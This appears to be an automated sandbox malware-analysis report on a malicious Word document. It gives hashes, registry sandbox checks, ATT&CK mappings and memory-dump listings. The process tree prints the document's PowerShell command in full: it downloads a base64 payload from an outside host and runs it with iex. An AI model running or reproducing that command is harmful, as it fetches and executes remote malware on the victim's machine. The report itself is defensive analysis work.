661d12b5e6cb61f54086d48b865ef5989ec00379f52b92fdb68b2ef59eddef43

Analysis

max time kernel
248s
max time network
252s
platform
windows10_x64
resource
win10v20201028
submitted
01-12-2020 14:18

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General

Target

Downloads3/425895848735145103942784.doc
Size

11.0MB
MD5

a5bcfb89c89476bb2de69a52c0be5a35
SHA1

c554019dd6f9ff674c92d0b153f0620e21efecb5
SHA256

dc6a23a597caacf95adcba017b20909f48bb79a80e50fa00e4b496640199d8bc
SHA512

13d07fbca3d6022ff2d1d630de7acdaac4c51daca52770c5007ce29deff6d0983af2e51d091fdd85cd09835f61cc78c70b4cc28dc23106158c54dcaa4371ad4f

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://dbi.dbimages.com/?need=negato0&vid=dpec22&42686

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4080	652	powershell.exe	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

652 WINWORD.EXE
652 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

4080 powershell.exe
4080 powershell.exe
4080 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4080 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

652 WINWORD.EXE
652 WINWORD.EXE
652 WINWORD.EXE
652 WINWORD.EXE
652 WINWORD.EXE
652 WINWORD.EXE
652 WINWORD.EXE

pid	process
652	WINWORD.EXE
652	WINWORD.EXE

pid	process
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4080	powershell.exe

pid	process
652	WINWORD.EXE
652	WINWORD.EXE
652	WINWORD.EXE
652	WINWORD.EXE
652	WINWORD.EXE
652	WINWORD.EXE
652	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 652 wrote to memory of 4080	652	WINWORD.EXE	powershell.exe
PID 652 wrote to memory of 4080	652	WINWORD.EXE	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Downloads3\425895848735145103942784.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:652

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ( [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( ((New-Object Net.WebClient).DownloadString('http://dbi.dbimages.com/?need=negato0&vid=dpec22&42686')) ) ) );
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4080

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/652-2-0x00007FFC2FF20000-0x00007FFC30557000-memory.dmp

Filesize
6.2MB

Download
memory/4080-6-0x0000000000000000-mapping.dmp

Download
memory/4080-7-0x00007FFC28F10000-0x00007FFC298FC000-memory.dmp

Filesize
9.9MB

Download
memory/4080-8-0x000002A67B9B0000-0x000002A67B9B1000-memory.dmp

Filesize
4KB

Download
memory/4080-9-0x000002A67C030000-0x000002A67C031000-memory.dmp

Filesize
4KB

Download